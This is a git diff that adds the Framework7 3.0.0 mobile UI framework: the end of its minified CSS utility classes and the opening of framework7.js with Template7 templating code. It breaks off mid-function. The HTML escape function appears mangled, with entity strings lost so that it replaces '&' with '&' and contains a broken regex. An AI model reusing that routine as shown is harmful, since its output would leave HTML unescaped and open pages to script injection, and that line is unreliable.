rgba(0,0,0,.12)!important}.active-state.elevation-pressed-0,.device-desktop .active-state.elevation-pressed-0{-webkit-box-shadow:0 0 0 0 transparent!important;box-shadow:0 0 0 0 transparent!important}.active-state.elevation-pressed-1,.device-desktop .active-state.elevation-pressed-1{-webkit-box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)!important;box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)!important}.active-state.elevation-pressed-2,.device-desktop .active-state.elevation-pressed-2{-webkit-box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)!important}.active-state.elevation-pressed-3,.device-desktop .active-state.elevation-pressed-3{-webkit-box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)!important}.active-state.elevation-pressed-4,.device-desktop .active-state.elevation-pressed-4{-webkit-box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)!important;box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)!important}.active-state.elevation-pressed-5,.device-desktop .active-state.elevation-pressed-5{-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 5px 8px 0 rgba(0,0,0,.14),0 1px 14px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 5px 8px 0 rgba(0,0,0,.14),0 1px 14px 0 rgba(0,0,0,.12)!important}.active-state.elevation-pressed-6,.device-desktop .active-state.elevation-pressed-6{-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)!important}.active-state.elevation-pressed-7,.device-desktop .active-state.elevation-pressed-7{-webkit-box-shadow:0 4px 5px -2px rgba(0,0,0,.2),0 7px 10px 1px rgba(0,0,0,.14),0 2px 16px 1px rgba(0,0,0,.12)!important;box-shadow:0 4px 5px -2px rgba(0,0,0,.2),0 7px 10px 1px rgba(0,0,0,.14),0 2px 16px 1px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-8,.device-desktop .active-state.elevation-pressed-8{-webkit-box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)!important;box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-9,.device-desktop .active-state.elevation-pressed-9{-webkit-box-shadow:0 5px 6px -3px rgba(0,0,0,.2),0 9px 12px 1px rgba(0,0,0,.14),0 3px 16px 2px rgba(0,0,0,.12)!important;box-shadow:0 5px 6px -3px rgba(0,0,0,.2),0 9px 12px 1px rgba(0,0,0,.14),0 3px 16px 2px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-10,.device-desktop .active-state.elevation-pressed-10{-webkit-box-shadow:0 6px 6px -3px rgba(0,0,0,.2),0 10px 14px 1px rgba(0,0,0,.14),0 4px 18px 3px rgba(0,0,0,.12)!important;box-shadow:0 6px 6px -3px rgba(0,0,0,.2),0 10px 14px 1px rgba(0,0,0,.14),0 4px 18px 3px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-11,.device-desktop .active-state.elevation-pressed-11{-webkit-box-shadow:0 6px 7px -4px rgba(0,0,0,.2),0 11px 15px 1px rgba(0,0,0,.14),0 4px 20px 3px rgba(0,0,0,.12)!important;box-shadow:0 6px 7px -4px rgba(0,0,0,.2),0 11px 15px 1px rgba(0,0,0,.14),0 4px 20px 3px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-12,.device-desktop .active-state.elevation-pressed-12{-webkit-box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 12px 17px 2px rgba(0,0,0,.14),0 5px 22px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 12px 17px 2px rgba(0,0,0,.14),0 5px 22px 4px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-13,.device-desktop .active-state.elevation-pressed-13{-webkit-box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 13px 19px 2px rgba(0,0,0,.14),0 5px 24px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 13px 19px 2px rgba(0,0,0,.14),0 5px 24px 4px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-14,.device-desktop .active-state.elevation-pressed-14{-webkit-box-shadow:0 7px 9px -4px rgba(0,0,0,.2),0 14px 21px 2px rgba(0,0,0,.14),0 5px 26px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 9px -4px rgba(0,0,0,.2),0 14px 21px 2px rgba(0,0,0,.14),0 5px 26px 4px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-15,.device-desktop .active-state.elevation-pressed-15{-webkit-box-shadow:0 8px 9px -5px rgba(0,0,0,.2),0 15px 22px 2px rgba(0,0,0,.14),0 6px 28px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 9px -5px rgba(0,0,0,.2),0 15px 22px 2px rgba(0,0,0,.14),0 6px 28px 5px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-16,.device-desktop .active-state.elevation-pressed-16{-webkit-box-shadow:0 8px 10px -5px rgba(0,0,0,.2),0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 10px -5px rgba(0,0,0,.2),0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-17,.device-desktop .active-state.elevation-pressed-17{-webkit-box-shadow:0 8px 11px -5px rgba(0,0,0,.2),0 17px 26px 2px rgba(0,0,0,.14),0 6px 32px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 11px -5px rgba(0,0,0,.2),0 17px 26px 2px rgba(0,0,0,.14),0 6px 32px 5px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-18,.device-desktop .active-state.elevation-pressed-18{-webkit-box-shadow:0 9px 11px -5px rgba(0,0,0,.2),0 18px 28px 2px rgba(0,0,0,.14),0 7px 34px 6px rgba(0,0,0,.12)!important;box-shadow:0 9px 11px -5px rgba(0,0,0,.2),0 18px 28px 2px rgba(0,0,0,.14),0 7px 34px 6px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-19,.device-desktop .active-state.elevation-pressed-19{-webkit-box-shadow:0 9px 12px -6px rgba(0,0,0,.2),0 19px 29px 2px rgba(0,0,0,.14),0 7px 36px 6px rgba(0,0,0,.12)!important;box-shadow:0 9px 12px -6px rgba(0,0,0,.2),0 19px 29px 2px rgba(0,0,0,.14),0 7px 36px 6px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-20,.device-desktop .active-state.elevation-pressed-20{-webkit-box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 20px 31px 3px rgba(0,0,0,.14),0 8px 38px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 20px 31px 3px rgba(0,0,0,.14),0 8px 38px 7px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-21,.device-desktop .active-state.elevation-pressed-21{-webkit-box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 21px 33px 3px rgba(0,0,0,.14),0 8px 40px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 21px 33px 3px rgba(0,0,0,.14),0 8px 40px 7px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-22,.device-desktop .active-state.elevation-pressed-22{-webkit-box-shadow:0 10px 14px -6px rgba(0,0,0,.2),0 22px 35px 3px rgba(0,0,0,.14),0 8px 42px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 14px -6px rgba(0,0,0,.2),0 22px 35px 3px rgba(0,0,0,.14),0 8px 42px 7px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-23,.device-desktop .active-state.elevation-pressed-23{-webkit-box-shadow:0 11px 14px -7px rgba(0,0,0,.2),0 23px 36px 3px rgba(0,0,0,.14),0 9px 44px 8px rgba(0,0,0,.12)!important;box-shadow:0 11px 14px -7px rgba(0,0,0,.2),0 23px 36px 3px rgba(0,0,0,.14),0 9px 44px 8px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-24,.device-desktop .active-state.elevation-pressed-24{-webkit-box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12)!important;box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12)!important}.elevation-transition-100{-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:-webkit-box-shadow;transition-property:-webkit-box-shadow;transition-property:box-shadow;transition-property:box-shadow,-webkit-box-shadow}.elevation-transition,.elevation-transition-200{-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:-webkit-box-shadow;transition-property:-webkit-box-shadow;transition-property:box-shadow;transition-property:box-shadow,-webkit-box-shadow}.elevation-transition-300{-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:-webkit-box-shadow;transition-property:-webkit-box-shadow;transition-property:box-shadow;transition-property:box-shadow,-webkit-box-shadow}.elevation-transition-400{-webkit-transition-duration:.4s;transition-duration:.4s;-webkit-transition-property:-webkit-box-shadow;transition-property:-webkit-box-shadow;transition-property:box-shadow;transition-property:box-shadow,-webkit-box-shadow}.elevation-transition-500{-webkit-transition-duration:.5s;transition-duration:.5s;-webkit-transition-property:-webkit-box-shadow;transition-property:-webkit-box-shadow;transition-property:box-shadow;transition-property:box-shadow,-webkit-box-shadow}.display-flex{display:-webkit-box!important;display:-webkit-flex!important;display:-ms-flexbox!important;display:flex!important}.display-block{display:block!important}.display-inline-flex{display:-webkit-inline-box!important;display:-webkit-inline-flex!important;display:-ms-inline-flexbox!important;display:inline-flex!important}.display-inline-block{display:inline-block!important}.display-inline{display:inline!important}.display-none{display:none!important}.flex-shrink-0{-webkit-flex-shrink:0!important;-ms-flex-negative:0!important;flex-shrink:0!important}.flex-shrink-1{-webkit-flex-shrink:1!important;-ms-flex-negative:1!important;flex-shrink:1!important}.flex-shrink-2{-webkit-flex-shrink:2!important;-ms-flex-negative:2!important;flex-shrink:2!important}.flex-shrink-3{-webkit-flex-shrink:3!important;-ms-flex-negative:3!important;flex-shrink:3!important}.flex-shrink-4{-webkit-flex-shrink:4!important;-ms-flex-negative:4!important;flex-shrink:4!important}.flex-shrink-5{-webkit-flex-shrink:5!important;-ms-flex-negative:5!important;flex-shrink:5!important}.flex-shrink-6{-webkit-flex-shrink:6!important;-ms-flex-negative:6!important;flex-shrink:6!important}.flex-shrink-7{-webkit-flex-shrink:7!important;-ms-flex-negative:7!important;flex-shrink:7!important}.flex-shrink-8{-webkit-flex-shrink:8!important;-ms-flex-negative:8!important;flex-shrink:8!important}.flex-shrink-9{-webkit-flex-shrink:9!important;-ms-flex-negative:9!important;flex-shrink:9!important}.flex-shrink-10{-webkit-flex-shrink:10!important;-ms-flex-negative:10!important;flex-shrink:10!important}.justify-content-flex-start{-webkit-box-pack:start!important;-webkit-justify-content:flex-start!important;-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-center{-webkit-box-pack:center!important;-webkit-justify-content:center!important;-ms-flex-pack:center!important;justify-content:center!important}.justify-content-flex-end{-webkit-box-pack:end!important;-webkit-justify-content:flex-end!important;-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-space-between{-webkit-box-pack:justify!important;-webkit-justify-content:space-between!important;-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-space-around{-webkit-justify-content:space-around!important;-ms-flex-pack:distribute!important;justify-content:space-around!important}.justify-content-space-evenly{-webkit-box-pack:space-evenly!important;-webkit-justify-content:space-evenly!important;-ms-flex-pack:space-evenly!important;justify-content:space-evenly!important}.justify-content-stretch{-webkit-box-pack:stretch!important;-webkit-justify-content:stretch!important;-ms-flex-pack:stretch!important;justify-content:stretch!important}.justify-content-start{-webkit-box-pack:start!important;-webkit-justify-content:start!important;-ms-flex-pack:start!important;justify-content:start!important}.justify-content-end{-webkit-box-pack:end!important;-webkit-justify-content:end!important;-ms-flex-pack:end!important;justify-content:end!important}.justify-content-left{-webkit-box-pack:left!important;-webkit-justify-content:left!important;-ms-flex-pack:left!important;justify-content:left!important}.justify-content-right{-webkit-box-pack:right!important;-webkit-justify-content:right!important;-ms-flex-pack:right!important;justify-content:right!important}.align-content-flex-start{-webkit-align-content:flex-start!important;-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-flex-end{-webkit-align-content:flex-end!important;-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-center{-webkit-align-content:center!important;-ms-flex-line-pack:center!important;align-content:center!important}.align-content-space-between{-webkit-align-content:space-between!important;-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-space-around{-webkit-align-content:space-around!important;-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-stretch{-webkit-align-content:stretch!important;-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-items-flex-start{-webkit-box-align:start!important;-webkit-align-items:flex-start!important;-ms-flex-align:start!important;align-items:flex-start!important}.align-items-flex-end{-webkit-box-align:end!important;-webkit-align-items:flex-end!important;-ms-flex-align:end!important;align-items:flex-end!important}.align-items-center{-webkit-box-align:center!important;-webkit-align-items:center!important;-ms-flex-align:center!important;align-items:center!important}.align-items-stretch{-webkit-box-align:stretch!important;-webkit-align-items:stretch!important;-ms-flex-align:stretch!important;align-items:stretch!important}.align-self-flex-start{-webkit-align-self:flex-start!important;-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-flex-end{-webkit-align-self:flex-end!important;-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-center{-webkit-align-self:center!important;-ms-flex-item-align:center!important;align-self:center!important}.align-self-stretch{-webkit-align-self:stretch!important;-ms-flex-item-align:stretch!important;align-self:stretch!important}.text-align-left{text-align:left!important}.text-align-center{text-align:center!important}.text-align-right{text-align:right!important}.text-align-justify{text-align:justify!important}.float-left{float:left!important}.float-right{float:right!important}.float-none{float:none!important}.vertical-align-bottom{vertical-align:bottom!important}.vertical-align-middle{vertical-align:middle!important}.vertical-align-top{vertical-align:top!important}.no-padding{padding:0!important}.no-padding-left{padding-left:0!important}.no-padding-right{padding-right:0!important}.no-padding-top{padding-top:0!important}.no-padding-bottom{padding-bottom:0!important}.no-margin{margin:0!important}.no-margin-left{margin-left:0!important}.no-margin-right{margin-right:0!important}.no-margin-top{margin-top:0!important}.no-margin-bottom{margin-bottom:0!important}.width-auto{width:auto!important}.width-100{width:100%!important}.ios .padding{padding:15px!important}.ios .padding-top{padding-top:15px!important}.ios .padding-bottom{padding-bottom:15px!important}.ios .padding-left{padding-left:15px!important}.ios .padding-left-ios-edge{padding-left:constant(safe-area-inset-left);padding-left:env(safe-area-inset-left)}.ios .padding-right-ios-edge{padding-right:constant(safe-area-inset-right);padding-right:env(safe-area-inset-right)}.ios .padding-top-ios-edge{padding-top:constant(safe-area-inset-top);padding-top:env(safe-area-inset-top)}.ios .padding-bottom-ios-edge{padding-bottom:constant(safe-area-inset-bottom);padding-bottom:env(safe-area-inset-bottom)}.ios .padding-right{padding-right:15px!important}.ios .padding-vertical{padding-top:15px!important;padding-bottom:15px!important}.ios .padding-horizontal{padding-left:15px!important;padding-right:15px!important}.ios .margin{margin:15px!important}.ios .margin-top{margin-top:15px!important}.ios .margin-bottom{margin-bottom:15px!important}.ios .margin-left{margin-left:15px!important}.ios .margin-right{margin-right:15px!important}.ios .margin-vertical{margin-top:15px!important;margin-bottom:15px!important}.ios .margin-horizontal{margin-left:15px!important;margin-right:15px!important}.ios .text-color-red{color:#ff3b30!important}.ios .bg-color-red{background-color:#ff3b30!important}.ios .border-color-red{border-color:#ff3b30!important}.ios .text-color-green{color:#4cd964!important}.ios .bg-color-green{background-color:#4cd964!important}.ios .border-color-green{border-color:#4cd964!important}.ios .text-color-blue{color:#007aff!important}.ios .bg-color-blue{background-color:#007aff!important}.ios .border-color-blue{border-color:#007aff!important}.ios .text-color-pink{color:#ff2d55!important}.ios .bg-color-pink{background-color:#ff2d55!important}.ios .border-color-pink{border-color:#ff2d55!important}.ios .text-color-yellow{color:#fc0!important}.ios .bg-color-yellow{background-color:#fc0!important}.ios .border-color-yellow{border-color:#fc0!important}.ios .text-color-orange{color:#ff9500!important}.ios .bg-color-orange{background-color:#ff9500!important}.ios .border-color-orange{border-color:#ff9500!important}.ios .text-color-gray{color:#8e8e93!important}.ios .bg-color-gray{background-color:#8e8e93!important}.ios .border-color-gray{border-color:#8e8e93!important}.ios .text-color-white{color:#fff!important}.ios .bg-color-white{background-color:#fff!important}.ios .border-color-white{border-color:#fff!important}.ios .text-color-black{color:#000!important}.ios .bg-color-black{background-color:#000!important}.ios .border-color-black{border-color:#000!important}.md .padding{padding:16px!important}.md .padding-top{padding-top:16px!important}.md .padding-bottom{padding-bottom:16px!important}.md .padding-left{padding-left:16px!important}.md .padding-right{padding-right:16px!important}.md .padding-vertical{padding-top:16px!important;padding-bottom:16px!important}.md .padding-horizontal{padding-left:16px!important;padding-right:16px!important}.md .margin{margin:16px!important}.md .margin-top{margin-top:16px!important}.md .margin-bottom{margin-bottom:16px!important}.md .margin-left{margin-left:16px!important}.md .margin-right{margin-right:16px!important}.md .margin-vertical{margin-top:16px!important;margin-bottom:16px!important}.md .margin-horizontal{margin-left:16px!important;margin-right:16px!important}.md .text-color-red{color:#f44336!important}.md .bg-color-red{background-color:#f44336!important}.md .border-color-red{border-color:#f44336!important}.md .text-color-green{color:#4caf50!important}.md .bg-color-green{background-color:#4caf50!important}.md .border-color-green{border-color:#4caf50!important}.md .text-color-blue{color:#2196f3!important}.md .bg-color-blue{background-color:#2196f3!important}.md .border-color-blue{border-color:#2196f3!important}.md .text-color-pink{color:#e91e63!important}.md .bg-color-pink{background-color:#e91e63!important}.md .border-color-pink{border-color:#e91e63!important}.md .text-color-yellow{color:#ffeb3b!important}.md .bg-color-yellow{background-color:#ffeb3b!important}.md .border-color-yellow{border-color:#ffeb3b!important}.md .text-color-orange{color:#ff9800!important}.md .bg-color-orange{background-color:#ff9800!important}.md .border-color-orange{border-color:#ff9800!important}.md .text-color-gray{color:#9e9e9e!important}.md .bg-color-gray{background-color:#9e9e9e!important}.md .border-color-gray{border-color:#9e9e9e!important}.md .text-color-white{color:#fff!important}.md .bg-color-white{background-color:#fff!important}.md .border-color-white{border-color:#fff!important}.md .text-color-black{color:#000!important}.md .bg-color-black{background-color:#000!important}.md .border-color-black{border-color:#000!important} \ No newline at end of file diff --git a/framework7/js/framework7.js b/framework7/js/framework7.js new file mode 100644 index 0000000..cafe5fb --- /dev/null +++ b/framework7/js/framework7.js @@ -0,0 +1,31312 @@ +/** + * Framework7 3.0.0 + * Full featured mobile HTML framework for building iOS & Android apps + * http://framework7.io/ + * + * Copyright 2014-2018 Vladimir Kharlampidi + * + * Released under the MIT License + * + * Released on: July 5, 2018 + */ + +(function (global, factory) { + typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() : + typeof define === 'function' && define.amd ? define(factory) : + (global.Framework7 = factory()); +}(this, (function () { 'use strict'; + + /** + * Template7 1.3.6 + * Mobile-first HTML template engine + * + * http://www.idangero.us/template7/ + * + * Copyright 2018, Vladimir Kharlampidi + * The iDangero.us + * http://www.idangero.us/ + * + * Licensed under MIT + * + * Released on: June 11, 2018 + */ + var t7ctx; + if (typeof window !== 'undefined') { + t7ctx = window; + } else if (typeof global !== 'undefined') { + t7ctx = global; + } else { + t7ctx = undefined; + } + + var Template7Context = t7ctx; + + var Template7Utils = { + quoteSingleRexExp: new RegExp('\'', 'g'), + quoteDoubleRexExp: new RegExp('"', 'g'), + isFunction: function isFunction(func) { + return typeof func === 'function'; + }, + escape: function escape(string) { + return (typeof Template7Context !== 'undefined' && Template7Context.escape) ? + Template7Context.escape(string) : + string + .replace(/&/g, '&') + .replace(//g, '>') + .replace(/"/g, '"'); + }, + helperToSlices: function helperToSlices(string) { + var quoteDoubleRexExp = Template7Utils.quoteDoubleRexExp; + var quoteSingleRexExp = Template7Utils.quoteSingleRexExp; + var helperParts = string.replace(/[{}#}]/g, '').trim().split(' '); + var slices = []; + var shiftIndex; + var i; + var j; + for (i = 0; i < helperParts.length; i += 1) { + var part = helperParts[i]; + var blockQuoteRegExp = (void 0); + var openingQuote = (void 0); + if (i === 0) { slices.push(part); } + else if (part.indexOf('"') === 0 || part.indexOf('\'') === 0) { + blockQuoteRegExp = part.indexOf('"') === 0 ? quoteDoubleRexExp : quoteSingleRexExp; + openingQuote = part.indexOf('"') === 0 ? '"' : '\''; + // Plain String + if (part.match(blockQuoteRegExp).length === 2) { + // One word string + slices.push(part); + } else { + // Find closed Index + shiftIndex = 0; + for (j = i + 1; j < helperParts.length; j += 1) { + part += " " + (helperParts[j]); + if (helperParts[j].indexOf(openingQuote) >= 0) { + shiftIndex = j; + slices.push(part); + break; + } + } + if (shiftIndex) { i = shiftIndex; } + } + } else if (part.indexOf('=') > 0) { + // Hash + var hashParts = part.split('='); + var hashName = hashParts[0]; + var hashContent = hashParts[1]; + if (!blockQuoteRegExp) { + blockQuoteRegExp = hashContent.indexOf('"') === 0 ? quoteDoubleRexExp : quoteSingleRexExp; + openingQuote = hashContent.indexOf('"') === 0 ? '"' : '\''; + } + if (hashContent.match(blockQuoteRegExp).length !== 2) { + shiftIndex = 0; + for (j = i + 1; j < helperParts.length; j += 1) { + hashContent += " " + (helperParts[j]); + if (helperParts[j].indexOf(openingQuote) >= 0) { + shiftIndex = j; + break; + } + } + if (shiftIndex) { i = shiftIndex; } + } + var hash = [hashName, hashContent.replace(blockQuoteRegExp, '')]; + slices.push(hash); + } else { + // Plain variable + slices.push(part); + } + } + return slices; + }, + stringToBlocks: function stringToBlocks(string) { + var blocks = []; + var i; + var j; + if (!string) { return []; } + var stringBlocks = string.split(/({{[^{^}]*}})/); + for (i = 0; i < stringBlocks.length; i += 1) { + var block = stringBlocks[i]; + if (block === '') { continue; } + if (block.indexOf('{{') < 0) { + blocks.push({ + type: 'plain', + content: block, + }); + } else { + if (block.indexOf('{/') >= 0) { + continue; + } + block = block + .replace(/{{([#/])*([ ])*/, '{{$1') + .replace(/([ ])*}}/, '}}'); + if (block.indexOf('{#') < 0 && block.indexOf(' ') < 0 && block.indexOf('else') < 0) { + // Simple variable + blocks.push({ + type: 'variable', + contextName: block.replace(/[{}]/g, ''), + }); + continue; + } + // Helpers + var helperSlices = Template7Utils.helperToSlices(block); + var helperName = helperSlices[0]; + var isPartial = helperName === '>'; + var helperContext = []; + var helperHash = {}; + for (j = 1; j < helperSlices.length; j += 1) { + var slice = helperSlices[j]; + if (Array.isArray(slice)) { + // Hash + helperHash[slice[0]] = slice[1] === 'false' ? false : slice[1]; + } else { + helperContext.push(slice); + } + } + + if (block.indexOf('{#') >= 0) { + // Condition/Helper + var helperContent = ''; + var elseContent = ''; + var toSkip = 0; + var shiftIndex = (void 0); + var foundClosed = false; + var foundElse = false; + var depth = 0; + for (j = i + 1; j < stringBlocks.length; j += 1) { + if (stringBlocks[j].indexOf('{{#') >= 0) { + depth += 1; + } + if (stringBlocks[j].indexOf('{{/') >= 0) { + depth -= 1; + } + if (stringBlocks[j].indexOf(("{{#" + helperName)) >= 0) { + helperContent += stringBlocks[j]; + if (foundElse) { elseContent += stringBlocks[j]; } + toSkip += 1; + } else if (stringBlocks[j].indexOf(("{{/" + helperName)) >= 0) { + if (toSkip > 0) { + toSkip -= 1; + helperContent += stringBlocks[j]; + if (foundElse) { elseContent += stringBlocks[j]; } + } else { + shiftIndex = j; + foundClosed = true; + break; + } + } else if (stringBlocks[j].indexOf('else') >= 0 && depth === 0) { + foundElse = true; + } else { + if (!foundElse) { helperContent += stringBlocks[j]; } + if (foundElse) { elseContent += stringBlocks[j]; } + } + } + if (foundClosed) { + if (shiftIndex) { i = shiftIndex; } + if (helperName === 'raw') { + blocks.push({ + type: 'plain', + content: helperContent, + }); + } else { + blocks.push({ + type: 'helper', + helperName: helperName, + contextName: helperContext, + content: helperContent, + inverseContent: elseContent, + hash: helperHash, + }); + } + } + } else if (block.indexOf(' ') > 0) { + if (isPartial) { + helperName = '_partial'; + if (helperContext[0]) { + if (helperContext[0].indexOf('[') === 0) { helperContext[0] = helperContext[0].replace(/[[\]]/g, ''); } + else { helperContext[0] = "\"" + (helperContext[0].replace(/"|'/g, '')) + "\""; } + } + } + blocks.push({ + type: 'helper', + helperName: helperName, + contextName: helperContext, + hash: helperHash, + }); + } + } + } + return blocks; + }, + parseJsVariable: function parseJsVariable(expression, replace, object) { + return expression.split(/([+ -*/^])/g).map(function (part) { + if (part.indexOf(replace) < 0) { return part; } + if (!object) { return JSON.stringify(''); } + var variable = object; + if (part.indexOf((replace + ".")) >= 0) { + part.split((replace + "."))[1].split('.').forEach(function (partName) { + if (partName in variable) { variable = variable[partName]; } + else { variable = undefined; } + }); + } + if (typeof variable === 'string') { + variable = JSON.stringify(variable); + } + if (variable === undefined) { variable = 'undefined'; } + return variable; + }).join(''); + }, + parseJsParents: function parseJsParents(expression, parents) { + return expression.split(/([+ -*^])/g).map(function (part) { + if (part.indexOf('../') < 0) { return part; } + if (!parents || parents.length === 0) { return JSON.stringify(''); } + var levelsUp = part.split('../').length - 1; + var parentData = levelsUp > parents.length ? parents[parents.length - 1] : parents[levelsUp - 1]; + + var variable = parentData; + var parentPart = part.replace(/..\//g, ''); + parentPart.split('.').forEach(function (partName) { + if (variable[partName]) { variable = variable[partName]; } + else { variable = 'undefined'; } + }); + return JSON.stringify(variable); + }).join(''); + }, + getCompileVar: function getCompileVar(name, ctx, data) { + if ( data === void 0 ) data = 'data_1'; + + var variable = ctx; + var parts; + var levelsUp = 0; + var newDepth; + if (name.indexOf('../') === 0) { + levelsUp = name.split('../').length - 1; + newDepth = variable.split('_')[1] - levelsUp; + variable = "ctx_" + (newDepth >= 1 ? newDepth : 1); + parts = name.split('../')[levelsUp].split('.'); + } else if (name.indexOf('@global') === 0) { + variable = 'Template7.global'; + parts = name.split('@global.')[1].split('.'); + } else if (name.indexOf('@root') === 0) { + variable = 'root'; + parts = name.split('@root.')[1].split('.'); + } else { + parts = name.split('.'); + } + for (var i = 0; i < parts.length; i += 1) { + var part = parts[i]; + if (part.indexOf('@') === 0) { + var dataLevel = data.split('_')[1]; + if (levelsUp > 0) { + dataLevel = newDepth; + } + if (i > 0) { + variable += "[(data_" + dataLevel + " && data_" + dataLevel + "." + (part.replace('@', '')) + ")]"; + } else { + variable = "(data_" + dataLevel + " && data_" + dataLevel + "." + (part.replace('@', '')) + ")"; + } + } else if (Number.isFinite ? Number.isFinite(part) : Template7Context.isFinite(part)) { + variable += "[" + part + "]"; + } else if (part === 'this' || part.indexOf('this.') >= 0 || part.indexOf('this[') >= 0 || part.indexOf('this(') >= 0) { + variable = part.replace('this', ctx); + } else { + variable += "." + part; + } + } + return variable; + }, + getCompiledArguments: function getCompiledArguments(contextArray, ctx, data) { + var arr = []; + for (var i = 0; i < contextArray.length; i += 1) { + if (/^['"]/.test(contextArray[i])) { arr.push(contextArray[i]); } + else if (/^(true|false|\d+)$/.test(contextArray[i])) { arr.push(contextArray[i]); } + else { + arr.push(Template7Utils.getCompileVar(contextArray[i], ctx, data)); + } + } + + return arr.join(', '); + }, + }; + + /* eslint no-eval: "off" */ + var Template7Helpers = { + _partial: function _partial(partialName, options) { + var ctx = this; + var p = Template7Class.partials[partialName]; + if (!p || (p && !p.template)) { return ''; } + if (!p.compiled) { + p.compiled = new Template7Class(p.template).compile(); + } + Object.keys(options.hash).forEach(function (hashName) { + ctx[hashName] = options.hash[hashName]; + }); + return p.compiled(ctx, options.data, options.root); + }, + escape: function escape(context) { + if (typeof context !== 'string') { + throw new Error('Template7: Passed context to "escape" helper should be a string'); + } + return Template7Utils.escape(context); + }, + if: function if$1(context, options) { + var ctx = context; + if (Template7Utils.isFunction(ctx)) { ctx = ctx.call(this); } + if (ctx) { + return options.fn(this, options.data); + } + + return options.inverse(this, options.data); + }, + unless: function unless(context, options) { + var ctx = context; + if (Template7Utils.isFunction(ctx)) { ctx = ctx.call(this); } + if (!ctx) { + return options.fn(this, options.data); + } + + return options.inverse(this, options.data); + }, + each: function each(context, options) { + var ctx = context; + var ret = ''; + var i = 0; + if (Template7Utils.isFunction(ctx)) { ctx = ctx.call(this); } + if (Array.isArray(ctx)) { + if (options.hash.reverse) { + ctx = ctx.reverse(); + } + for (i = 0; i < ctx.length; i += 1) { + ret += options.fn(ctx[i], { first: i === 0, last: i === ctx.length - 1, index: i }); + } + if (options.hash.reverse) { + ctx = ctx.reverse(); + } + } else { + // eslint-disable-next-line + for (var 